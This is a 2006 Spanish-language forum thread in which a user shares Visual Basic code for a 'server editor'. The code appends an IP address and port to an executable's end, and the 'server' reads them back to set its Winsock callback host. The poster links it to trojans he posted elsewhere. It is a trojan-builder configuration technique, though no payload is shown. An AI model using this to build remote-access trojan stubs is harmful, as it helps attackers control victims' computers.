Título: editor de server VB Publicado por: LixKeÜ en 19 Enero 2006, 22:47 pm hola mi problema y mi falta de conocimientos es esto estoy asiendo un editor de server y mi inconveniente es que para este tipo de caso para poder sobreescrivir en el exe lo primero que tenemos que hacer es abrirlo en binario y de alli ir colocando los datos con put siempre al final : ;D
Private Sub Command1_Click() Dim ip As String * 15 '//igual con la variable que contendra el pass, con capacidad de 20 bytes. ip = Text1.Text Open "C:\descargas\MIS PROGRAMAS\editor de server\1.exe" For Binary As #1 '//abrimos el archivo en forma binaria. Seek (1), LOF(1) + 1 'nos vamos al final del archivo Put #1, , ip '//colocamos el contenido de las variables Close #1 '//cerramos el archivo. (http://img384.imageshack.us/img384/8333/dibujo7un.jpg) MY PROBLEMA ES COMO AGO PARA QUE EL ARCHIVO AL QUE ESCRIBIMOS LOS DATOS AL FINAL LO PONGA EN EL TEXBOX. Título: Re: editor de server VB Publicado por: LixKeÜ en 19 Enero 2006, 22:51 pm lei por alli que se hace abriendo el archivo en binario y de alli tomas los datos que se encontraban al final del mismo y de ally lo colocas en un texbox a travez de una variable.
Espero que mas o menos este en lo correpto y que alguien pueda darme una mano BIEN EXPLICAD Un salub y gracias a todos ;D :rolleyes: :) :P ;) :D ;D ;D Título: Re: editor de server VB Publicado por: LixKeÜ en 21 Enero 2006, 18:29 pm gracias igual a todos por no responder pero ya pude aprender como aherlo y si alguien quiere que se lo enseñe que lo postee aqui y se lo enseño ;D ;D ;D ;D ;D :shocked: :) :-\ ;)
Título: Re: editor de server VB Publicado por: Thaorius en 21 Enero 2006, 18:57 pm A mi me sirve la info. podes postearla?
Saludos Título: Re: editor de server VB Publicado por: LixKeÜ en 28 Enero 2006, 02:26 am A mi me sirve la info. podes postearla? Private Sub Form_Load()Saludos Dim a As String * 20 Dim b As String * 5 a = Text1.Text b = Text2.Text End Sub Private Sub Image2_Click() On Error GoTo hacer Image3.Visible = True Dim a As String * 20 Dim b As String * 5 a = Text1.Text b = Text2.Text cd.Filter = "Todos los archivos |*.*" cd.ShowOpen Open cd.FileName For Binary As #1 Seek (1), LOF(1) + 1 Put #1, , a Put #1, , b Close #1 MsgBox "Su servidor ya fue creado con EXITO" hacer: Select Case Err.Number Case 75 MsgBox "Has cancelado para abrir el archivo" End Select End Sub eso en el edito y en el server Dim a As String * 20 Dim b As String * 5 Dim ap As String Dim bp As String Open App.path & "\" & App.EXEName & ".exe" For Binary As #1 Seek (1), LOF(1) - 24 Get #1, , a Get #1, , b Close #1 ap = Trim(a) bp = Trim(b) Text1.Text = ap Text2.Text = bp On Error Resume Next ip = Text1.Text ipftp = Text1.Text port = Text2.Text ws.RemoteHost = ip ws.RemotePort = port Título: Re: editor de server VB Publicado por: BenRu en 28 Enero 2006, 15:03 pm Gracias, a mi tambien me viene bien :P
Título: Re: editor de server VB Publicado por: LixKeÜ en 28 Enero 2006, 17:47 pm De nada amigos ;D ;D ;D
yo ya lo abia puesto el editor de server en troyanos y virus con unos ejemplos de troyanos pero creo que solo estuvo un dia y los moderadores lo quitaron pero bueno ellos son los que ponen las reglas o sino miren lo que seria de esto no. Título: Re: editor de server VB Publicado por: Thaorius en 29 Enero 2006, 05:02 am Gracias
|